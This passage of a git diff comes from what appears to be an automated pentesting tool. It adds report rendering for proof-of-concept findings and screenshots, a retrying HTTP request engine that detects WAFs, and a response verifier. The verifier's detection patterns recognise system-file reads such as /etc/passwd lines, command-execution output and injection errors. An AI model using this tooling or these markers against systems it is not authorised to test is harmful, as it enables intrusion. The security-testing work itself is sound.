(vuln.poc_request or vuln.poc_payload): + if include_poc and (vuln.poc_request or vuln.poc_payload or getattr(vuln, 'poc_code', None)): + # Build screenshot HTML if available + screenshots_html = self._build_screenshots_html(vuln) + + # Build PoC code section (generated HTML/Python/curl exploitation code) + poc_code_html = "" + poc_code_value = getattr(vuln, 'poc_code', None) or "" + if poc_code_value: + # Determine language for syntax hint + if poc_code_value.strip().startswith(" +
Exploitation Code ({lang_label})
+
{self._escape_html(poc_code_value[:5000])}
+ """ + poc_section = f"""

Proof of Concept

- {f'
{self._escape_html(vuln.poc_payload or "")}
' if vuln.poc_payload else ''} - {f'
{self._escape_html(vuln.poc_request[:1000] if vuln.poc_request else "")}
' if vuln.poc_request else ''} +
+
Observation
+

{self._escape_html(vuln.description or 'Security-relevant behavior detected at the affected endpoint.')}

+
+
+
Hypothesis
+

The endpoint may be vulnerable to {self._escape_html(vuln.vulnerability_type or 'the identified attack vector')} based on observed behavior.

+
+
+
Validation
+ {f'
{self._escape_html(vuln.poc_payload or "")}
' if vuln.poc_payload else ''} + {f'
{self._escape_html(vuln.poc_request[:1000] if vuln.poc_request else "")}
' if vuln.poc_request else ''} + {screenshots_html} +
+ {poc_code_html} +
+
Result
+

{self._escape_html(vuln.impact or 'Vulnerability confirmed through the validation steps above.')}

+
""" @@ -264,6 +409,41 @@ Overall Risk Level: {risk_level} word-wrap: break-word; }} .executive-summary {{ white-space: pre-wrap; }} + .ohvr-section {{ + margin: 1rem 0; + padding: 1rem; + background: rgba(0,0,0,0.2); + border-radius: 8px; + }} + .ohvr-section h5 {{ + color: var(--accent); + margin-bottom: 0.5rem; + text-transform: uppercase; + font-size: 0.8rem; + letter-spacing: 1px; + }} + .screenshot-grid {{ + display: grid; + grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); + gap: 1rem; + margin: 1rem 0; + }} + .screenshot-card {{ + border: 1px solid var(--border); + border-radius: 8px; + overflow: hidden; + }} + .screenshot-card img {{ + width: 100%; + height: auto; + display: block; + }} + .screenshot-caption {{ + padding: 0.5rem; + font-size: 0.8rem; + color: var(--text-secondary); + text-align: center; + }} .severity-chart {{ display: flex; height: 30px; @@ -312,10 +492,16 @@ Overall Risk Level: {risk_level} ''' if executive_summary else ''}
-

Vulnerability Findings

- {vuln_cards if vuln_cards else '

No vulnerabilities found.

'} +

Vulnerability Findings ({total} Confirmed)

+ {vuln_cards if vuln_cards else '

No confirmed vulnerabilities found.

'}
+ {self._build_rejected_findings_section(rejected_vulns)} + + {self._build_screenshots_gallery(confirmed_vulns)} + + {self._build_tools_section()} + @@ -354,10 +540,245 @@ Overall Risk Level: {risk_level} "info": scan.info_count } }, - "vulnerabilities": [v.to_dict() for v in vulnerabilities] + "vulnerabilities": [v.to_dict() for v in vulnerabilities if getattr(v, 'validation_status', 'ai_confirmed') != 'ai_rejected'], + "rejected_findings": [v.to_dict() for v in vulnerabilities if getattr(v, 'validation_status', 'ai_confirmed') == 'ai_rejected'], + "tool_executions": self._tool_executions } return json.dumps(report, indent=2, default=str) + def _build_screenshots_html(self, vuln) -> str: + """Build screenshot grid HTML for a vulnerability. + + Sources (in order of priority): + 1. vuln.screenshots list with base64 data URIs (from agent capture) + 2. Filesystem lookup in reports/screenshots/{finding_id}/ (from BrowserValidator) + """ + data_uris = [] + + # Source 1: base64 screenshots embedded in the vulnerability object + inline_screenshots = getattr(vuln, 'screenshots', None) or [] + for ss in inline_screenshots: + if isinstance(ss, str) and ss.startswith("data:image/"): + data_uris.append(ss) + + # Source 2: filesystem screenshots (finding_id = md5(vuln_type+url+param)[:8]) + # Check scan-scoped path first, then legacy flat path + if not data_uris: + import hashlib + screenshots_base = settings.BASE_DIR / "reports" / "screenshots" + vuln_type = getattr(vuln, 'vulnerability_type', '') or '' + vuln_url = getattr(vuln, 'url', '') or getattr(vuln, 'affected_endpoint', '') or '' + vuln_param = getattr(vuln, 'parameter', '') or getattr(vuln, 'poc_parameter', '') or '' + finding_id = hashlib.md5(f"{vuln_type}{vuln_url}{vuln_param}".encode()).hexdigest()[:8] + + # Scan-scoped path: reports/screenshots/{scan_id}/{finding_id}/ + finding_dir = None + if self._scan_id: + scan_dir = screenshots_base / self._scan_id / finding_id + if scan_dir.exists(): + finding_dir = scan_dir + # Fallback: legacy flat path reports/screenshots/{finding_id}/ + if not finding_dir: + legacy_dir = screenshots_base / finding_id + if legacy_dir.exists(): + finding_dir = legacy_dir + + if finding_dir: + for ss_file in sorted(finding_dir.glob("*.png"))[:5]: + data_uri = self._embed_screenshot(str(ss_file)) + if data_uri: + data_uris.append(data_uri) + + if not data_uris: + return "" + + cards = "" + for i, data_uri in enumerate(data_uris[:5]): + caption = "Evidence Capture" if i == 0 else f"Screenshot {i + 1}" + cards += f""" +
+ {caption} +
{caption}
+
""" + + return f'
{cards}
' + + def _embed_screenshot(self, filepath: str) -> str: + """Convert a screenshot file to a base64 data URI.""" + path = Path(filepath) + if not path.exists(): + return "" + try: + with open(path, 'rb') as f: + data = base64.b64encode(f.read()).decode('ascii') + return f"data:image/png;base64,{data}" + except Exception: + return "" + + def _copy_screenshots_to_report(self, vulnerabilities: List[Vulnerability], report_dir: Path): + """Copy vulnerability screenshots into the per-report folder.""" + import shutil + import hashlib + screenshots_base = settings.BASE_DIR / "reports" / "screenshots" + screenshots_dest = report_dir / "screenshots" + + for vuln in vulnerabilities: + # Use same finding_id as agent: md5(vuln_type+url+param)[:8] + vuln_type = getattr(vuln, 'vulnerability_type', '') or '' + vuln_url = getattr(vuln, 'url', '') or getattr(vuln, 'affected_endpoint', '') or '' + vuln_param = getattr(vuln, 'parameter', '') or getattr(vuln, 'poc_parameter', '') or '' + finding_id = hashlib.md5(f"{vuln_type}{vuln_url}{vuln_param}".encode()).hexdigest()[:8] + + # Check scan-scoped path first, then legacy + src_dir = None + if self._scan_id: + scan_src = screenshots_base / self._scan_id / finding_id + if scan_src.exists(): + src_dir = scan_src + if not src_dir: + legacy_src = screenshots_base / finding_id + if legacy_src.exists(): + src_dir = legacy_src + + if src_dir: + dest_dir = screenshots_dest / finding_id + dest_dir.mkdir(parents=True, exist_ok=True) + for ss_file in src_dir.glob("*.png"): + shutil.copy2(ss_file, dest_dir / ss_file.name) + + def _build_screenshots_gallery(self, vulnerabilities: List[Vulnerability]) -> str: + """Build a dedicated Screenshots & Evidence gallery section for the report.""" + import hashlib + gallery_items = [] + + for vuln in vulnerabilities: + vuln_screenshots = [] + + # Source 1: base64 from DB + inline = getattr(vuln, 'screenshots', None) or [] + for ss in inline: + if isinstance(ss, str) and ss.startswith("data:image/"): + vuln_screenshots.append(ss) + + # Source 2: filesystem (scan-scoped first, then legacy) + if not vuln_screenshots: + vuln_type = getattr(vuln, 'vulnerability_type', '') or '' + vuln_url = getattr(vuln, 'url', '') or getattr(vuln, 'affected_endpoint', '') or '' + vuln_param = getattr(vuln, 'parameter', '') or getattr(vuln, 'poc_parameter', '') or '' + finding_id = hashlib.md5(f"{vuln_type}{vuln_url}{vuln_param}".encode()).hexdigest()[:8] + screenshots_base = settings.BASE_DIR / "reports" / "screenshots" + finding_dir = None + if self._scan_id: + scan_dir = screenshots_base / self._scan_id / finding_id + if scan_dir.exists(): + finding_dir = scan_dir + if not finding_dir: + legacy_dir = screenshots_base / finding_id + if legacy_dir.exists(): + finding_dir = legacy_dir + if finding_dir: + for ss_file in sorted(finding_dir.glob("*.png"))[:5]: + data_uri = self._embed_screenshot(str(ss_file)) + if data_uri: + vuln_screenshots.append(data_uri) + + if vuln_screenshots: + title = self._escape_html(getattr(vuln, 'title', 'Unknown')) + severity = getattr(vuln, 'severity', 'info') + color = self.SEVERITY_COLORS.get(severity, '#6c757d') + images_html = "" + for i, data_uri in enumerate(vuln_screenshots[:5]): + images_html += f""" +
+ Evidence {i+1} +
Evidence {i+1}
+
""" + gallery_items.append(f""" +
+

{title}

+
{images_html}
+
""") + + if not gallery_items: + return "" + + return f""" +
+

Screenshots & Evidence

+

Visual evidence captured during vulnerability validation.

+ {''.join(gallery_items)} +
""" + + def _build_rejected_findings_section(self, rejected_vulns: List) -> str: + """Build an HTML section for AI-rejected findings that need manual review.""" + if not rejected_vulns: + return "" + + items = "" + for vuln in rejected_vulns: + color = self.SEVERITY_COLORS.get(vuln.severity, "#6c757d") + reason = self._escape_html(getattr(vuln, 'ai_rejection_reason', '') or 'No reason provided') + items += f""" +
+
+
+ {vuln.severity.upper()} + {self._escape_html(vuln.title)} +
+ AI Rejected +
+

Endpoint: {self._escape_html(vuln.affected_endpoint or 'N/A')}

+ {f'

Payload: {self._escape_html(vuln.poc_payload or "")}

' if vuln.poc_payload else ''} +

Rejection Reason: {reason}

+
+ """ + + return f""" +
+

AI-Rejected Findings ({len(rejected_vulns)}) - Manual Review Required

+

+ The following potential findings were rejected by AI analysis as likely false positives. + Manual pentester review is recommended to confirm or override these decisions. +

+ {items} +
""" + + def _build_tools_section(self) -> str: + """Build an HTML section listing tools that were executed during the scan.""" + if not self._tool_executions: + return "" + + rows = "" + for te in self._tool_executions: + tool = self._escape_html(te.get("tool", "unknown")) + command = self._escape_html(te.get("command", "")) + duration = te.get("duration", 0) + findings = te.get("findings_count", 0) + exit_code = te.get("exit_code", 0) + stdout = self._escape_html(te.get("stdout_preview", "")[:500]) + + status_color = "#28a745" if exit_code == 0 else "#dc3545" + rows += f""" +
+
+ {tool.upper()} +

{command}

+
+
+ Duration: {duration}s + Findings: {findings} + Exit: {exit_code} +
+ {f'
{stdout}
' if stdout else ''} +
""" + + return f""" +
+

Tools Executed

+

Security tools executed during the automated assessment.

+ {rows} +
""" + def _escape_html(self, text: str) -> str: """Escape HTML special characters""" if not text: diff --git a/backend/core/report_generator.py b/backend/core/report_generator.py index c8e1d36..5301b58 100644 --- a/backend/core/report_generator.py +++ b/backend/core/report_generator.py @@ -4,11 +4,12 @@ Generates beautiful, comprehensive security assessment reports """ import json +import base64 from datetime import datetime +from pathlib import Path from typing import Dict, List, Any, Optional from dataclasses import dataclass import html -import base64 @dataclass @@ -455,6 +456,70 @@ class HTMLReportGenerator: .card {{ animation: fadeIn 0.3s ease; }} + + /* Screenshot grid */ + .screenshot-grid {{ + display: grid; + grid-template-columns: repeat(auto-fit, minmax(320px, 1fr)); + gap: 16px; + margin-top: 12px; + }} + + .screenshot-card {{ + border: 1px solid {border_color}; + border-radius: 8px; + overflow: hidden; + background: {'#0f172a' if is_dark else '#f1f5f9'}; + transition: transform 0.2s, box-shadow 0.2s; + }} + + .screenshot-card:hover {{ + transform: translateY(-2px); + box-shadow: 0 4px 16px rgba(0,0,0,0.3); + }} + + .screenshot-card img {{ + width: 100%; + height: auto; + display: block; + cursor: pointer; + }} + + .screenshot-caption {{ + padding: 8px 12px; + font-size: 0.75rem; + color: {text_muted}; + text-align: center; + border-top: 1px solid {border_color}; + text-transform: uppercase; + letter-spacing: 0.05em; + }} + + /* Screenshot modal (fullscreen view) */ + .screenshot-modal {{ + display: none; + position: fixed; + top: 0; + left: 0; + width: 100%; + height: 100%; + background: rgba(0,0,0,0.9); + z-index: 10000; + justify-content: center; + align-items: center; + cursor: pointer; + }} + + .screenshot-modal.active {{ + display: flex; + }} + + .screenshot-modal img {{ + max-width: 90%; + max-height: 90%; + border-radius: 8px; + box-shadow: 0 8px 32px rgba(0,0,0,0.5); + }} """ def _get_scripts(self) -> str: @@ -495,6 +560,29 @@ class HTMLReportGenerator: function printReport() { window.print(); } + + // Screenshot zoom modal + (function() { + var modal = document.createElement('div'); + modal.className = 'screenshot-modal'; + modal.innerHTML = ''; + document.body.appendChild(modal); + + document.addEventListener('click', function(e) { + if (e.target.closest('.screenshot-card img')) { + var src = e.target.src; + modal.querySelector('img').src = src; + modal.classList.add('active'); + } + if (e.target.closest('.screenshot-modal')) { + modal.classList.remove('active'); + } + }); + + document.addEventListener('keydown', function(e) { + if (e.key === 'Escape') modal.classList.remove('active'); + }); + })(); """ def _generate_header(self, session_data: Dict) -> str: @@ -770,6 +858,7 @@ class HTMLReportGenerator:

Evidence / Proof of Concept

{html.escape(finding.get('evidence', ''))}
''' if finding.get('evidence') else ''} + {self._generate_screenshots_html(finding)} {f'''

Impact

{html.escape(finding.get('impact', ''))}

@@ -852,6 +941,51 @@ class HTMLReportGenerator:
''' + def _generate_screenshots_html(self, finding: Dict) -> str: + """Generate screenshot grid HTML for a finding. + + Supports two sources: + 1. finding['screenshots'] list with base64 data URIs (from agent capture) + 2. Filesystem lookup in reports/screenshots/{finding_id}/ (from BrowserValidator) + """ + screenshots = finding.get('screenshots', []) + + # Also check filesystem for screenshots stored by BrowserValidator + finding_id = finding.get('id', '') + if finding_id and not screenshots: + ss_dir = Path('reports/screenshots') / finding_id + if ss_dir.exists(): + for ss_file in sorted(ss_dir.glob('*.png'))[:5]: + try: + with open(ss_file, 'rb') as f: + data = base64.b64encode(f.read()).decode('ascii') + screenshots.append(f"data:image/png;base64,{data}") + except Exception: + pass + + if not screenshots: + return '' + + cards = '' + for i, ss in enumerate(screenshots[:5]): # Cap at 5 screenshots + label = f"Screenshot {i + 1}" + if i == 0: + label = "Evidence Capture" + elif i == 1: + label = "Exploitation Proof" + + cards += f''' +
+ {label} +
{label}
+
''' + + return f''' +
+

Screenshots

+
{cards}
+
''' + def _generate_scan_results(self, scan_results: List[Dict]) -> str: """Generate tool scan results section""" if not scan_results: diff --git a/backend/core/request_engine.py b/backend/core/request_engine.py new file mode 100644 index 0000000..65ebff4 --- /dev/null +++ b/backend/core/request_engine.py @@ -0,0 +1,377 @@ +""" +NeuroSploit v3 - Resilient Request Engine + +Wraps aiohttp session with retry, rate limiting, circuit breaker, +and error classification for autonomous pentesting. +""" + +import asyncio +import logging +import time +from dataclasses import dataclass, field +from enum import Enum +from typing import Callable, Dict, Optional, Any + +logger = logging.getLogger(__name__) + + +class ErrorType(Enum): + SUCCESS = "success" + CLIENT_ERROR = "client_error" # 4xx (not 429) + RATE_LIMITED = "rate_limited" # 429 + WAF_BLOCKED = "waf_blocked" # 403 + WAF indicators + SERVER_ERROR = "server_error" # 5xx + TIMEOUT = "timeout" + CONNECTION_ERROR = "connection_error" + + +@dataclass +class RequestResult: + status: int + body: str + headers: Dict[str, str] + url: str + error_type: ErrorType = ErrorType.SUCCESS + retry_count: int = 0 + response_time: float = 0.0 + + +@dataclass +class HostState: + """Per-host tracking for rate limiting and circuit breaker.""" + host: str + request_count: int = 0 + error_count: int = 0 + consecutive_failures: int = 0 + last_request_time: float = 0.0 + delay: float = 0.1 + circuit_open: bool = False + circuit_open_time: float = 0.0 + avg_response_time: float = 0.0 + # Adaptive timeout + _response_times: list = field(default_factory=list) + + +class RequestEngine: + """Resilient HTTP request engine with retry, rate limiting, and circuit breaker. + + Features: + - Error classification (7 types) + - Smart retry with exponential backoff (1s, 2s, 4s) on 5xx/timeout/connection + - No retry on 4xx client errors + - Per-host rate limiting with auto-increase on 429 + - Circuit breaker: N consecutive failures → open circuit for cooldown period + - Adaptive timeouts based on target response times + - Request counting and statistics + - Cancel-aware (checks is_cancelled before each request) + """ + + WAF_INDICATORS = [ + "cloudflare", "incapsula", "sucuri", "akamai", "imperva", + "mod_security", "modsecurity", "request blocked", "access denied", + "waf", "web application firewall", "barracuda", "fortinet", + "f5 big-ip", "citrix", "azure firewall", + ] + + def __init__( + self, + session, # aiohttp.ClientSession + default_delay: float = 0.1, + max_retries: int = 3, + circuit_threshold: int = 5, + circuit_timeout: float = 30.0, + default_timeout: float = 10.0, + is_cancelled_fn: Optional[Callable] = None, + ): + self.session = session + self.default_delay = default_delay + self.max_retries = max_retries + self.circuit_threshold = circuit_threshold + self.circuit_timeout = circuit_timeout + self.default_timeout = default_timeout + self.is_cancelled = is_cancelled_fn or (lambda: False) + + # Per-host state + self._hosts: Dict[str, HostState] = {} + + # Global stats + self.total_requests = 0 + self.total_errors = 0 + self.errors_by_type: Dict[str, int] = {e.value: 0 for e in ErrorType} + + def _get_host(self, url: str) -> HostState: + """Get or create host state.""" + from urllib.parse import urlparse + host = urlparse(url).netloc + if host not in self._hosts: + self._hosts[host] = HostState(host=host, delay=self.default_delay) + return self._hosts[host] + + def _classify_error(self, status: int, body: str, exception: Optional[Exception] = None) -> ErrorType: + """Classify response/error into ErrorType.""" + if exception: + exc_name = type(exception).__name__.lower() + if "timeout" in exc_name or "timedout" in exc_name: + return ErrorType.TIMEOUT + return ErrorType.CONNECTION_ERROR + + if 200 <= status < 400: + return ErrorType.SUCCESS + if status == 429: + return ErrorType.RATE_LIMITED + if status == 403: + body_lower = body.lower() if body else "" + if any(w in body_lower for w in self.WAF_INDICATORS): + return ErrorType.WAF_BLOCKED + return ErrorType.CLIENT_ERROR + if 400 <= status < 500: + return ErrorType.CLIENT_ERROR + if status >= 500: + return ErrorType.SERVER_ERROR + + return ErrorType.SUCCESS + + def _should_retry(self, error_type: ErrorType) -> bool: + """Determine if this error type warrants retry.""" + return error_type in ( + ErrorType.SERVER_ERROR, + ErrorType.TIMEOUT, + ErrorType.CONNECTION_ERROR, + ErrorType.RATE_LIMITED, + ) + + def _get_backoff_delay(self, attempt: int, error_type: ErrorType) -> float: + """Calculate exponential backoff delay.""" + if error_type == ErrorType.RATE_LIMITED: + return min(30.0, 2.0 * (2 ** attempt)) # Longer for rate limiting + return min(10.0, 1.0 * (2 ** attempt)) # 1s, 2s, 4s, ... + + def _get_adaptive_timeout(self, host_state: HostState) -> float: + """Calculate adaptive timeout based on target response history.""" + if not host_state._response_times: + return self.default_timeout + avg = sum(host_state._response_times[-20:]) / len(host_state._response_times[-20:]) + # 3x average with min 5s, max 30s + return max(5.0, min(30.0, avg * 3.0)) + + def _check_circuit(self, host_state: HostState) -> bool: + """Check if circuit breaker allows request. Returns True if allowed.""" + if not host_state.circuit_open: + return True + # Check if cooldown has passed + elapsed = time.time() - host_state.circuit_open_time + if elapsed >= self.circuit_timeout: + # Half-open: allow one test request + host_state.circuit_open = False + host_state.consecutive_failures = 0 + logger.debug(f"Circuit half-open for {host_state.host}") + return True + return False + + def _update_circuit(self, host_state: HostState, error_type: ErrorType): + """Update circuit breaker state after a request.""" + if error_type == ErrorType.SUCCESS: + host_state.consecutive_failures = 0 + host_state.circuit_open = False + elif error_type in (ErrorType.SERVER_ERROR, ErrorType.TIMEOUT, ErrorType.CONNECTION_ERROR): + host_state.consecutive_failures += 1 + if host_state.consecutive_failures >= self.circuit_threshold: + host_state.circuit_open = True + host_state.circuit_open_time = time.time() + logger.warning(f"Circuit OPEN for {host_state.host} after {host_state.consecutive_failures} failures") + + async def request( + self, + url: str, + method: str = "GET", + params: Optional[Dict] = None, + data: Optional[Any] = None, + headers: Optional[Dict] = None, + cookies: Optional[Dict] = None, + allow_redirects: bool = False, + timeout: Optional[float] = None, + json_data: Optional[Dict] = None, + ) -> Optional[RequestResult]: + """Make an HTTP request with retry, rate limiting, and circuit breaker. + + Returns RequestResult on success (even 4xx), None on total failure. + """ + if self.is_cancelled(): + return None + + host_state = self._get_host(url) + + # Circuit breaker check + if not self._check_circuit(host_state): + logger.debug(f"Circuit open for {host_state.host}, skipping") + return RequestResult( + status=0, body="", headers={}, url=url, + error_type=ErrorType.CONNECTION_ERROR + ) + + # Rate limiting: wait per-host delay + now = time.time() + elapsed = now - host_state.last_request_time + if elapsed < host_state.delay: + await asyncio.sleep(host_state.delay - elapsed) + + # Determine timeout + req_timeout = timeout or self._get_adaptive_timeout(host_state) + + # Retry loop + last_error_type = ErrorType.CONNECTION_ERROR + for attempt in range(self.max_retries + 1): + if self.is_cancelled(): + return None + + start_time = time.time() + try: + import aiohttp + kwargs = { + "method": method, + "url": url, + "allow_redirects": allow_redirects, + "timeout": aiohttp.ClientTimeout(total=req_timeout), + "ssl": False, + } + if params: + kwargs["params"] = params + if data: + kwargs["data"] = data + if json_data: + kwargs["json"] = json_data + if headers: + kwargs["headers"] = headers + if cookies: + kwargs["cookies"] = cookies + + async with self.session.request(**kwargs) as resp: + body = await resp.text() + resp_time = time.time() - start_time + resp_headers = dict(resp.headers) + status = resp.status + + # Track response time + host_state._response_times.append(resp_time) + if len(host_state._response_times) > 50: + host_state._response_times = host_state._response_times[-30:] + host_state.avg_response_time = sum(host_state._response_times) / len(host_state._response_times) + + # Classify + error_type = self._classify_error(status, body) + last_error_type = error_type + + # Update stats + self.total_requests += 1 + host_state.request_count += 1 + host_state.last_request_time = time.time() + self.errors_by_type[error_type.value] = self.errors_by_type.get(error_type.value, 0) + 1 + + # Update circuit breaker + self._update_circuit(host_state, error_type) + + # Handle rate limiting + if error_type == ErrorType.RATE_LIMITED: + # Check Retry-After header + retry_after = resp_headers.get("Retry-After", "") + if retry_after.isdigit(): + wait = min(60.0, float(retry_after)) + else: + wait = self._get_backoff_delay(attempt, error_type) + # Increase per-host delay + host_state.delay = min(5.0, host_state.delay * 2) + logger.debug(f"Rate limited on {host_state.host}, delay now {host_state.delay:.1f}s") + if attempt < self.max_retries: + await asyncio.sleep(wait) + continue + + # Retry on server errors + if self._should_retry(error_type) and attempt < self.max_retries: + wait = self._get_backoff_delay(attempt, error_type) + logger.debug(f"Retry {attempt+1}/{self.max_retries} for {url} ({error_type.value}), wait {wait:.1f}s") + await asyncio.sleep(wait) + continue + + # Return result (success or non-retryable error) + if error_type != ErrorType.SUCCESS: + self.total_errors += 1 + host_state.error_count += 1 + + return RequestResult( + status=status, + body=body, + headers=resp_headers, + url=str(resp.url), + error_type=error_type, + retry_count=attempt, + response_time=resp_time, + ) + + except asyncio.TimeoutError: + resp_time = time.time() - start_time + last_error_type = ErrorType.TIMEOUT + self.total_requests += 1 + self.total_errors += 1 + host_state.request_count += 1 + host_state.error_count += 1 + host_state.last_request_time = time.time() + self.errors_by_type["timeout"] = self.errors_by_type.get("timeout", 0) + 1 + self._update_circuit(host_state, ErrorType.TIMEOUT) + + if attempt < self.max_retries: + wait = self._get_backoff_delay(attempt, ErrorType.TIMEOUT) + logger.debug(f"Timeout on {url}, retry {attempt+1}/{self.max_retries}") + await asyncio.sleep(wait) + continue + + except Exception as e: + resp_time = time.time() - start_time + error_type = self._classify_error(0, "", e) + last_error_type = error_type + self.total_requests += 1 + self.total_errors += 1 + host_state.request_count += 1 + host_state.error_count += 1 + host_state.last_request_time = time.time() + self.errors_by_type[error_type.value] = self.errors_by_type.get(error_type.value, 0) + 1 + self._update_circuit(host_state, error_type) + + if self._should_retry(error_type) and attempt < self.max_retries: + wait = self._get_backoff_delay(attempt, error_type) + logger.debug(f"Error on {url}: {e}, retry {attempt+1}") + await asyncio.sleep(wait) + continue + + logger.debug(f"Request failed after {attempt+1} attempts: {url} - {e}") + + # All retries exhausted + return RequestResult( + status=0, body="", headers={}, url=url, + error_type=last_error_type, retry_count=self.max_retries, + ) + + def get_stats(self) -> Dict: + """Get request statistics.""" + host_stats = {} + for host, state in self._hosts.items(): + host_stats[host] = { + "requests": state.request_count, + "errors": state.error_count, + "avg_response_time": round(state.avg_response_time, 3), + "delay": round(state.delay, 3), + "circuit_open": state.circuit_open, + "consecutive_failures": state.consecutive_failures, + } + return { + "total_requests": self.total_requests, + "total_errors": self.total_errors, + "errors_by_type": dict(self.errors_by_type), + "hosts": host_stats, + } + + def reset_stats(self): + """Reset all statistics.""" + self.total_requests = 0 + self.total_errors = 0 + self.errors_by_type = {e.value: 0 for e in ErrorType} + self._hosts.clear() diff --git a/backend/core/response_verifier.py b/backend/core/response_verifier.py new file mode 100644 index 0000000..5eaf82a --- /dev/null +++ b/backend/core/response_verifier.py @@ -0,0 +1,780 @@ +""" +NeuroSploit v3 - XBOW-Inspired Response Verification Framework + +Multi-signal verification system that confirms vulnerabilities +through 4 independent signals, reducing false positives dramatically. + +Inspired by XBOW benchmark methodology: +- Binary verification (flag-based in CTF, evidence-based here) +- Health checks before testing +- Baseline diffing for behavioral anomaly detection +- Multi-signal confirmation (2+ signals = confirmed without AI) +""" + +import re +import hashlib +from typing import Dict, List, Optional, Tuple, Any + + +# --------------------------------------------------------------------------- +# Error / indicator patterns used across multiple checkers +# --------------------------------------------------------------------------- + +DB_ERROR_PATTERNS = [ + r"(?:sql|database|query)\s*(?:error|syntax|exception)", + r"mysql_(?:fetch|query|num_rows|connect)", + r"mysqli_", + r"pg_(?:query|exec|prepare|connect)", + r"sqlite3?\.\w+error", + r"ora-\d{4,5}", + r"mssql_query", + r"sqlstate\[", + r"odbc\s+driver", + r"jdbc\s+exception", + r"unclosed\s+quotation", + r"you have an error in your sql", + r"syntax error.*at line \d+", +] + +TEMPLATE_ERROR_PATTERNS = [ + r"jinja2\.exceptions\.\w+", + r"mako\.exceptions\.\w+", + r"twig.*error", + r"freemarker.*error", + r"smarty.*error", + r"django\.template\.\w+", + r"template syntax error", +] + +FILE_CONTENT_MARKERS = [ + "root:x:0:0:", + "daemon:x:1:1:", + "bin:x:2:2:", + "www-data:", + "[boot loader]", + "[operating systems]", + "[extensions]", +] + +SSTI_EVALUATIONS = { + "7*7": "49", + "7*'7'": "7777777", + "3*3": "9", +} + +COMMAND_OUTPUT_MARKERS = [ + r"uid=\d+\(", + r"gid=\d+\(", + r"root:\w+:0:0:", + r"/bin/(?:ba)?sh", + r"Linux\s+\S+\s+\d+\.\d+", + r"total\s+\d+\s*\n", +] + +NOSQL_ERROR_PATTERNS = [ + r"MongoError", + r"mongo.*(?:syntax|parse|query).*error", + r"\$(?:gt|lt|ne|in|nin|regex|where|exists)\b", + r"CastError.*ObjectId", + r"BSONTypeError", + r"operator.*\$(?:gt|lt|ne|regex)", +] + +LDAP_ERROR_PATTERNS = [ + r"javax\.naming\.(?:directory\.)?InvalidSearchFilterException", + r"Bad search filter", + r"ldap_search.*error", + r"invalid.*(?:dn|distinguished name|ldap filter)", + r"unbalanced.*parenthes[ei]s", + r"NamingException", +] + +XPATH_ERROR_PATTERNS = [ + r"XPathException", + r"Invalid XPath", + r"xmlXPathEval.*error", + r"DOMXPath.*(?:evaluate|query).*error", + r"SimpleXMLElement.*xpath", + r"unterminated.*(?:string|expression).*xpath", + r"XPATH syntax error", +] + +GRAPHQL_ERROR_PATTERNS = [ + r'"errors"\s*:\s*\[', + r"Syntax Error.*GraphQL", + r"Cannot query field", + r"Unknown argument", + r"Expected Name", + r"graphql.*parse.*error", +] + +DESERIALIZATION_ERROR_PATTERNS = [ + r"java\.io\.(?:InvalidClass|StreamCorrupted)Exception", + r"ClassNotFoundException", + r"unserialize\(\).*error", + r"pickle\.UnpicklingError", + r"yaml\.(?:scanner|parser)\.ScannerError", + r"__wakeup\(\).*failed", + r"ObjectInputStream", + r"readObject\(\).*exception", +] + +EL_INJECTION_PATTERNS = [ + r"javax\.el\.ELException", + r"org\.springframework\.expression\.spel", + r"EL Expression.*error", + r"OGNL.*exception", +] + + +# --------------------------------------------------------------------------- +# Health checking +# --------------------------------------------------------------------------- + +UNHEALTHY_PATTERNS = [ + "502 bad gateway", + "503 service unavailable", + "service unavailable", + "maintenance mode", + "under maintenance", + "temporarily unavailable", + "server is starting", + "connection refused", +] + + +class ResponseVerifier: + """ + Multi-signal verification framework for vulnerability confirmation. + + 4 independent signals are checked: + 1. VulnEngine tester pattern match (structured analyze_response) + 2. Baseline diff (status / length / hash change) + 3. Payload effect (reflection, evaluation, file content) + 4. New error patterns (present in test but absent in baseline) + + Confidence rules: + - 2+ signals → confirmed (skip AI) + - 1 signal + confidence >= 0.8 → confirmed + - 1 signal + confidence < 0.8 → needs AI confirmation + - 0 signals → rejected + """ + + def __init__(self): + self._compiled_db_errors = [re.compile(p, re.IGNORECASE) for p in DB_ERROR_PATTERNS] + self._compiled_template_errors = [re.compile(p, re.IGNORECASE) for p in TEMPLATE_ERROR_PATTERNS] + self._compiled_cmd_markers = [re.compile(p, re.IGNORECASE) for p in COMMAND_OUTPUT_MARKERS] + self._compiled_nosql_errors = [re.compile(p, re.IGNORECASE) for p in NOSQL_ERROR_PATTERNS] + self._compiled_ldap_errors = [re.compile(p, re.IGNORECASE) for p in LDAP_ERROR_PATTERNS] + self._compiled_xpath_errors = [re.compile(p, re.IGNORECASE) for p in XPATH_ERROR_PATTERNS] + self._compiled_graphql_errors = [re.compile(p, re.IGNORECASE) for p in GRAPHQL_ERROR_PATTERNS] + self._compiled_deser_errors = [re.compile(p, re.IGNORECASE) for p in DESERIALIZATION_ERROR_PATTERNS] + self._compiled_el_errors = [re.compile(p, re.IGNORECASE) for p in EL_INJECTION_PATTERNS] + + # ------------------------------------------------------------------ + # Target health check + # ------------------------------------------------------------------ + + async def check_target_health(self, session, url: str) -> Tuple[bool, dict]: + """ + Verify the target is alive and functional before testing. + + Returns: + (is_healthy, info_dict) + """ + try: + async with session.get(url, timeout=15, allow_redirects=True) as resp: + body = await resp.text() + status = resp.status + headers = dict(resp.headers) + + info = { + "status": status, + "content_length": len(body), + "content_type": headers.get("Content-Type", ""), + "server": headers.get("Server", ""), + } + + # Reject server errors + if status >= 500: + info["reason"] = f"Server error (HTTP {status})" + return False, info + + # Reject empty/minimal pages + if len(body) < 50: + info["reason"] = "Response too short (< 50 chars)" + return False, info + + # Check for unhealthy content + body_lower = body.lower() + for pattern in UNHEALTHY_PATTERNS: + if pattern in body_lower: + info["reason"] = f"Unhealthy response: '{pattern}'" + return False, info + + info["healthy"] = True + return True, info + + except Exception as e: + return False, {"reason": f"Connection error: {str(e)[:200]}"} + + # ------------------------------------------------------------------ + # Baseline diffing + # ------------------------------------------------------------------ + + def compute_response_diff(self, baseline: dict, test_response: dict) -> dict: + """ + Compare test response against cached baseline. + + Returns dict with diff metrics. + """ + baseline_body = baseline.get("body", "") + test_body = test_response.get("body", "") + + baseline_len = len(baseline_body) if isinstance(baseline_body, str) else baseline.get("body_length", 0) + test_len = len(test_body) + + length_diff = abs(test_len - baseline_len) + length_pct = (length_diff / 